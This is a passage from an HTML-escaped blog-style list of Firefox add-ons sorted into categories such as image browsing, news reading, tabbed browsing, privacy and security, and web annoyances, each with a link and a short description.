activities, then with a single click, replay the entire sequence all over again. Got a package or an order you want to track? Have a favorite category at an online auction site? Tired of going through the steps to log into your e-mail? Use DéjàClick by AlertSite to automatically access any final URL. Also works great for quickly producing web application test scripts.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2895/"&gt;Unofficial Myspace Toolbar&lt;/a&gt; - Automatically login to Myspace, instantly access your messages, view hidden comments, create styled comments/bulletins and more with this intuitive and customizable toolbar!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2046/"&gt;FireFoxMenuButtons&lt;/a&gt; - Adds 41 new Buttons (duplicating of menu strings) from Firefox Menu on the Toolbar!&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Image Browsing:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/220/"&gt;FlashGot&lt;/a&gt; - Download one link, selected links or all the links of a page together at the maximum speed with a single click, using the most popular, lightweight and reliable external download managers.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/201/"&gt;DownThemAll&lt;/a&gt; - The first and only download manager/accelerator built inside Firefox!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2207/"&gt;Cooliris Previews&lt;/a&gt; -  Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1593/"&gt;Gspace&lt;/a&gt; - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4441/"&gt;Firefox Companion for Kodak EasyShare Gallery&lt;/a&gt; - Organizing and sharing your pictures is easier than ever with Firefox Companion for Kodak EasyShare Gallery. Upload photos directly to your Kodak EasyShare Gallery, all within your browser. Drag, drop and arrange pictures adding photo titles, and create albums by multi-selecting photos - all of this without interrupting your Internet browsing. Co-developed by Kodak, it also includes other popular photo services.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3481/"&gt;BlueOrganizer&lt;/a&gt; - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3006/"&gt;DownloadHelper&lt;/a&gt; - DownloadHelper is a tool for web content extraction. Its purpose is to capture video and image files from many sites.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1810/"&gt;Firefox Showcase&lt;/a&gt; - Showcase provides a new way to manage your Firefox tabs and windows by showing them as thumbnails in a single window, tab or sidebar. Includes a find bar that will filter the thumbnails, and the capability to select the thumbnails in the same way you would select files in your system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/139/"&gt;Image Zoom&lt;/a&gt; - Adds zoom functionality for images.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/4512/"&gt;Send 2 Cellphone&lt;/a&gt; - Send2Cellphone provides a simple way to send images from web pages directly to mobile phones via free Send2Cellphone service. Simply right click any image on any web page and select "Send2Cellphone" from the context menu. After transferring the picture to your cell phone you can view it, use it as a wallpaper or send to a friend via MMS.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Message Reading:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2207/"&gt;Cooliris Previews&lt;/a&gt; -  Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/39/"&gt;Mouse Gestures&lt;/a&gt; - Allows you to execute common commands (like page forward/backward, close tab, new tab) by mouse gestures drawn over the current webpage, without reaching for the toolbar or the keyboard.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1320/"&gt;Gmail Manager&lt;/a&gt; - Allows you to manage multiple Gmail accounts and receive new mail notifications. Displays your account details including unread messages, saved drafts, spam messages, labels with new mail, space used, and new mail snippets.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1191/"&gt;ReminderFox&lt;/a&gt; - ReminderFox is an extension that displays and manages lists of date-based reminders and ToDo's. ReminderFox does not seek to be a full-fledged calendar system. In fact, the target audience is anybody that simply wants to remember important dates (birthdays, anniversaries, etc) without having to run a fat calendar application.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/629/"&gt;NewsFox&lt;/a&gt; - RSS/Atom News Reader.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1264/"&gt;Yahoo! Mail Notifier&lt;/a&gt; - This extension notifies you when new messages arrive in your Yahoo mailbox.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2127/"&gt;Gmail Skins&lt;/a&gt; - Skins and other extra features for Gmail.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3456/"&gt;WOT&lt;/a&gt; - WOT helps you avoid disingenuous Internet content by allowing you to learn from others' experiences. WOT shows you website reputations on your browser, telling you how much other users trust a website. This helps you make better decisions while browsing and avoid phishing, malware, and other types of fraud. Reputations can also be added to web search results, Gmail, Wikipedia, and other selected sites.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2650/"&gt;Temporary Inbox&lt;/a&gt; - This extension generates random disposable email addresses. You can use these email addresses for registration in forums, adult sites or whereever.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/361/"&gt;infoRSS&lt;/a&gt; - Displays RSS, Atom, parsed HTML and NNTP feed in a scrolling area the status bar. Compatible with podcasting RSS which can be downloaded directly.&lt;br /&gt;It's also a good Gmail notifier.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;News Reading:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/398/"&gt;Forecastfox&lt;/a&gt; - Get international weather forecasts from AccuWeather.com, and display it in any toolbar or statusbar with this highly customizable and unobtrusive extension.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2207/"&gt;Cooliris Previews&lt;/a&gt; -  Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/77/"&gt;Sage&lt;/a&gt; - Sage is a lightweight RSS and Atom feed aggregator extension for Mozilla Firefox. It's got a lot of what you need and not much of what you don't.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3481/"&gt;BlueOrganizer&lt;/a&gt; - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/864/"&gt;TorrentBar&lt;/a&gt; - BitTorrent File Search Toolbar for Firefox. Allows to search numerous sites in a matter of minutes for needed torrent files.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/424/"&gt;Wizz RSS News Reader&lt;/a&gt; - A fairly good RSS and Atom news reader.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1191/"&gt;ReminderFox&lt;/a&gt; - ReminderFox is an extension that displays and manages lists of date-based reminders and ToDo's. ReminderFox does not seek to be a full-fledged calendar system. In fact, the target audience is anybody that simply wants to remember important dates (birthdays, anniversaries, etc) without having to run a fat calendar application.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1978/"&gt;Forecastfox Enhanced&lt;/a&gt; - Enhanced version of the popular Forecastfox extension (forecastfox.mozdev.org) by Jon Stritar and Richard Klien. This adds 12 improved radar images for US locations and 4 for international locations and the ability to supply a URL to use images from other sites.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/629/"&gt;NewsFox&lt;/a&gt; - RSS/Atom News Reader.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1035/"&gt;1-ClickWeather&lt;/a&gt; - Because weather is important to you everyday... weather.com offers you instant local weather conditions, alerts, radar in motion, satellite maps, and forecasts all within your Firefox browser.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Tabbed Browsing:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1419/"&gt;IE Tab&lt;/a&gt; - IE Tab - an extension from Taiwan, features: Embedding Internet Explorer in tabs of Mozilla/Firefox. This is a great tool for web developers, since you can easily see how your webpage displayed in IE with just one click and then switch back to Firefox.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1122/"&gt;Tab Mix Plus&lt;/a&gt; - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1810/"&gt;Firefox Showcase&lt;/a&gt; - Showcase provides a new way to manage your Firefox tabs and windows by showing them as thumbnails in a single window, tab or sidebar. Includes a find bar that will filter the thumbnails, and the capability to select the thumbnails in the same way you would select files in your system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1368/"&gt;Colorful Tabs&lt;/a&gt; - The most beautiful yet the simplest add-on that makes a strong colorful appeal. Colors every tab in a different color and makes them easy to distinguish while beautifying the overall appearance of the interface.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2324/"&gt;Session Manager&lt;/a&gt; - Session Manager saves and restores the state of all windows - either when you want it or automatically at startup and after crashes. Additionally it offers you to reopen (accidentally) closed windows and tabs. If you're afraid of losing data while browsing - this extension allows you to relax.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/158/"&gt;Tabbrowser Preferences&lt;/a&gt; - Enables enhanced control for some aspects of tabbed browsing.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2144/"&gt;Advanced Dork&lt;/a&gt; - Advanced Dork: gives quick access to Google's Advanced Operators directly from the context menu.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3810/"&gt;ChromaTabs&lt;/a&gt; - Colors browser tabs based on the site loaded. For example, visiting mozilla.org will make the tab blue, and cnn.com will make the tab green.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1937/"&gt;Tab Catalog&lt;/a&gt; - Shows thumbnail-style catalog of tabs.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1480/"&gt;Tab Control&lt;/a&gt; - Take control of your tabs!&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;XUL Applications:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/684/"&gt;FireFTP&lt;/a&gt; - FireFTP is a free, secure, cross-platform FTP client for Mozilla Firefox which provides easy and intuitive access to FTP servers.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/219/"&gt;FoxyTunes&lt;/a&gt; - Do you listen to Music while surfing the Web? Now you can control your favorite media player without ever leaving the browser and more.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/201/"&gt;DownThemAll&lt;/a&gt; - DownThemAll is all you can desire from a download manager: it features an advanced accelerator that increases speed up to 400% and it allows you to pause and resume downloads at any time!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1593/"&gt;Gspace&lt;/a&gt; - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system. The interface will make your Gmail account look like a FTP host.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/16/"&gt;ChatZilla&lt;/a&gt; - A clean, easy to use and highly extensible Internet Relay Chat (IRC) client.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1508/"&gt;Jeteye&lt;/a&gt; - Jeteye is a unique Web-based application and service that is designed for the next generation of enterprise and consumer use of the Web. Jeteye changes how we interact with the web, in an era where communication and social computing are more powerful than ever.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1730/"&gt;Performancing&lt;/a&gt; - Performancing for Firefox is a full featured blog editor that sits right in your Firefox browser and lets you post to your blog easily. You can drag and drop formatted text from the page you happen to be browsing, and take notes as well as post to your blog.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3234/"&gt;AllPeers&lt;/a&gt; - Share your files privately and securely. Chat with your friends.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/424/"&gt;Wizz RSS News Reader&lt;/a&gt; - A fairly good RSS and Atom news reader.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1191/"&gt;ReminderFox&lt;/a&gt; - ReminderFox is an extension that displays and manages lists of date-based reminders and ToDo's. ReminderFox does not seek to be a full-fledged calendar system. In fact, the target audience is anybody that simply wants to remember important dates (birthdays, anniversaries, etc) without having to run a fat calendar application.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Bookmarks:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/138/"&gt;StumbleUpon&lt;/a&gt; - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2410/"&gt;Foxmarks Bookmark Synchronizer&lt;/a&gt; - If you use Firefox on more than one computer, you'll want Foxmarks. Install Foxmarks on each computer, and it will work silently in the background to keep your bookmarks synchronized. As a bonus, log in to my.foxmarks.com from any computer anywhere to access your bookmarks.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3615/"&gt;del.icio.us Bookmarks&lt;/a&gt; - This extension integrates your browser with del.icio.us (http://del.icio.us/), the leading social bookmarking service on the Web. It does this by augmenting the bookmarking functionality in Firefox with an enhanced experience.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1407/"&gt;Clipmarks&lt;/a&gt; - With Clipmarks, you can clip the best parts of web pages. Whether it’s a paragraph, sentence, image or video, you can capture just the pieces you want without having to bookmark the entire page.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1122/"&gt;Tab Mix Plus&lt;/a&gt; - Tab Mix Plus enhances Firefox's tab browsing capabilities. It includes such features as duplicating tabs, controlling tab focus, tab clicking options, undo closed tabs and windows, plus much more. It also includes a full-featured session manager with crash recovery that can save and restore combinations of opened tabs and windows.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1833/"&gt;Yoono&lt;/a&gt; - Yoono instantly suggests similar sites, blog notes and people sharing the same interests while you are surfing, for each page you open. Zero effort required - no more tagging, typing keywords or changing interface. Let Yoono bring you the best that others have discovered.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3481/"&gt;BlueOrganizer&lt;/a&gt; - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1508/"&gt;Jeteye&lt;/a&gt; - Jeteye is a unique Web-based application and service that is designed for the next generation of enterprise and consumer use of the Web. Jeteye changes how we interact with the web, in an era where communication and social computing are more powerful than ever.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1810/"&gt;Firefox Showcase&lt;/a&gt; - Showcase provides a new way to manage your Firefox tabs and windows by showing them as thumbnails in a single window, tab or sidebar. Includes a find bar that will filter the thumbnails, and the capability to select the thumbnails in the same way you would select files in your system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3863/"&gt;iMacros&lt;/a&gt; - Automate your web browser. Record and replay repetitious work.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Entertainment:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/219/"&gt;FoxyTunes&lt;/a&gt; - Do you listen to Music while surfing the Web? Now you can control your favorite media player without ever leaving the browser and more.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/138/"&gt;StumbleUpon&lt;/a&gt; - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1593/"&gt;Gspace&lt;/a&gt; - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3481/"&gt;BlueOrganizer&lt;/a&gt; - The blueorganizer is smart browsing and personalization technology for Firefox. It makes the browser aware of everyday objects like books, movies, wines, restaurants and much more. The blueorganizer helps you automatically collect these object from many popular sites, manage them and instantly find related information.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3590/"&gt;Fast Video Download&lt;/a&gt; - Fast Video Download can save embedded video files from video-hosting servers.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/446/"&gt;MediaPlayerConnectivity&lt;/a&gt; - Allow you to launch embed video of website in an external application with a simple click.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2755/"&gt;Torrent Finder Toolbar&lt;/a&gt; - Torrent Finder Toolbar is a torrent search toolbar for Firefox, which enables users to search over 100 top torrent sites and trackers from their Firefox browser the same way they used to search using http://torrent-finder.com form. It allows users to search a single site, search all sites on one page, or open the sites in Firefox tabs.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/864/"&gt;TorrentBar&lt;/a&gt; - BitTorrent File Search Toolbar for Firefox. Allows to search numerous sites in a matter of minutes for needed torrent files.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1766/"&gt;FoxGame&lt;/a&gt; - Enhance user experience with O-game (now works in every o-game version)&lt;br /&gt;Adds a lot of features to the webgame O-game. It also integrates Database features inside the game. O-Game, is a real-time spacial browser game.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/424/"&gt;Wizz RSS News Reader&lt;/a&gt; - A fairly good RSS and Atom news reader.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Kiosk Browsing:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1593/"&gt;Gspace&lt;/a&gt; - This extension allows you to use your Gmail Space (2.8 GB and growing) for file storage. It acts as an online drive, so you can upload files from your hard drive and access them from every Internet capable system.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1027/"&gt;All-in-One Sidebar&lt;/a&gt; - All-in-One Sidebar (AiOS) is a sidebar control, inspired by Opera's. Click on the left edge of your browser window to open the sidebar and get easy access to all your panels. It lets you quickly switch between sidebar panels, view dialog windows such as downloads, extensions, and more in the sidebar, or view source or websites in the sidebar.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1171/"&gt;Dictionary Tooltip&lt;/a&gt; - Press ctrl+shift+D (or) double-click (or) right-click after selecting a word to see its meaning. This extension is ideal for those who doesn't like to switch their window to see the meaning of a word.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2046/"&gt;FireFoxMenuButtons&lt;/a&gt; - Adds 41 new Buttons (duplicating of menu strings) from Firefox Menu on the Toolbar! Look for this buttons (after installing) on the "Customize toolbar" (Menu/View/Toolbars/Customize...).&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3911/"&gt;Public Fox&lt;/a&gt; - Tired of cleaning stuff people download? Use this to limit file downloading. Prevent browser changes, block unwanted Web Sites.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2448/"&gt;Firefox Google Bookmarks&lt;/a&gt; - Creates a menu to access google bookmarks from any computer. Needs Google Account to use this extension.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3895/"&gt;Personal Menu&lt;/a&gt; - Feel tired of the conservative menus, and have tried to put them into a single menu but never want to waste time on one more click?&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1568/"&gt;Full Fullscreen&lt;/a&gt; - Hides remaining toolbars that the normal fullscreen functionality does not. Hiding the tab bar, as well as starting up on fullscreen, are configurable from the settings dialog. Licensed under MPL.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2864/"&gt;gladder&lt;/a&gt; -  Get over Great Firewall with Great Ladder!&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1659/"&gt;R-kiosk&lt;/a&gt; - Real Kiosk is a Firefox 2.0 extension that defaults to full screen, disables all menus, toolbars, key commands and right button menus. Alt+Home still takes you home.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Miscellaneous:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1865/"&gt;Adblock Plus&lt;/a&gt; - Ever been annoyed by all those ads and banners on the internet that often take longer to download than everything else on the page? Install Adblock Plus now and get rid of them. Right-click on a banner and choose "Adblock" from the context menu - the banner won't be downloaded again.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/722/"&gt;NoScript&lt;/a&gt; - Winner of the "2006 PC World World Class Award", this tool provides extra protection to your Firefox. It allows JavaScript, Java and other executable content to run only from trusted domains of your choice, e.g. your home-banking web site.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/398/"&gt;Forecastfox&lt;/a&gt; - Get international weather forecasts from AccuWeather.com, and display it in any toolbar or statusbar with this highly customizable and unobtrusive extension.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1419/"&gt;IE Tab&lt;/a&gt; - Embedding Internet Explorer in tabs of Mozilla/Firefox. This is a great tool for web developers, since you can easily see how your webpage displayed in IE with just one click and then switch back to Firefox.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/219/"&gt;FoxyTunes&lt;/a&gt; - Do you listen to Music while surfing the Web? Now you can control your favorite media player without ever leaving the browser and more.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1269/"&gt;Fasterfox&lt;/a&gt; - Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/138/"&gt;StumbleUpon&lt;/a&gt; - StumbleUpon lets you "channelsurf" the best-reviewed sites on the web. It is a collaborative surfing tool for browsing, reviewing and sharing great sites with like-minded people. This helps you find interesting webpages you wouldn't think to search for.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2207/"&gt;Cooliris Previews&lt;/a&gt; -  Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2394/"&gt;Map+&lt;/a&gt; - View a map of a selected address in Firefox without changing windows or tabs using the right click command.&lt;/li&gt;&lt;li&gt;Clipmarks - With Clipmarks, you can clip the best parts of web pages. Whether it’s a paragraph, sentence, image or video, you can capture just the pieces you want without having to bookmark the entire page.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Privacy and Security:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/722/"&gt;NoScript&lt;/a&gt; - Winner of the "2006 PC World World Class Award", this tool provides extra protection to your Firefox. It allows JavaScript, Java and other executable content to run only from trusted domains of your choice, e.g. your home-banking web site.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1269/"&gt;Fasterfox&lt;/a&gt; - Fasterfox allows you to tweak many network and rendering settings such as simultaneous connections, pipelining, cache, DNS cache, and initial paint delay.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2207/"&gt;Cooliris Previews&lt;/a&gt; -  Cooliris Previews for Firefox gives you the power to browse faster and send links instantly.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2275/"&gt;Torbutton&lt;/a&gt; - Torbutton provides a button to easily enable or disable the browser's use of Tor.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/433/"&gt;Flashblock&lt;/a&gt; - Never be annoyed by a Flash animation again! Blocks Flash so it won't get in your way, but if you want to see it, just click on it.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2464/"&gt;FoxyProxy&lt;/a&gt; - FoxyProxy is an advanced proxy management tool that completely replaces Firefox's proxy configuration.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/125/"&gt;SwitchProxy Tool&lt;/a&gt; - SwitchProxy lets you manage and switch between multiple proxy configurations&lt;br /&gt;quickly and easily. You can also use it as an anonymizer to protect your&lt;br /&gt;computer from prying eyes.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/3863/"&gt;iMacros&lt;/a&gt; - Automate your web browser. Record and replay repetitious work.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/2109/"&gt;Firefox Extension Backup Extension&lt;/a&gt; - FEBE allows you to quickly and easily backup your Firefox extensions. In fact, it goes beyond just backing up - it will actually rebuild your extensions individually into installable .xpi files. Now you can easily synchronize your office and home browsers.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/743/"&gt;CustomizeGoogle&lt;/a&gt; - CustomizeGoogle is a Firefox extension that enhance Google search results by adding extra information (like links to Yahoo, Ask.com, MSN etc) and removing unwanted information (like ads and spam).&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Web Annoyances:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1865/"&gt;Adblock Plus&lt;/a&gt; - Ever been annoyed by all those ads and banners on the internet that often take longer to download than everything else on the page? Install Adblock Plus now and get rid of them.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/722/"&gt;NoScript&lt;/a&gt; - Winner of the "2006 PC World World Class Award", this tool provides extra protection to your Firefox. It allows JavaScript, Java and other executable content to run only from trusted domains of your choice, e.g. your home-banking web site.&lt;/li&gt;&lt;li&gt;&lt;a rel="nofollow" href="https://addons.mozilla.org/firefox/1419/"&gt;IE Tab&lt;/a&gt; - Embedding Internet Explorer in tabs of Mozilla/Firefox. This is a great tool for web developers, since you can easily see how your webpage displayed in IE with just one click and then switch back to 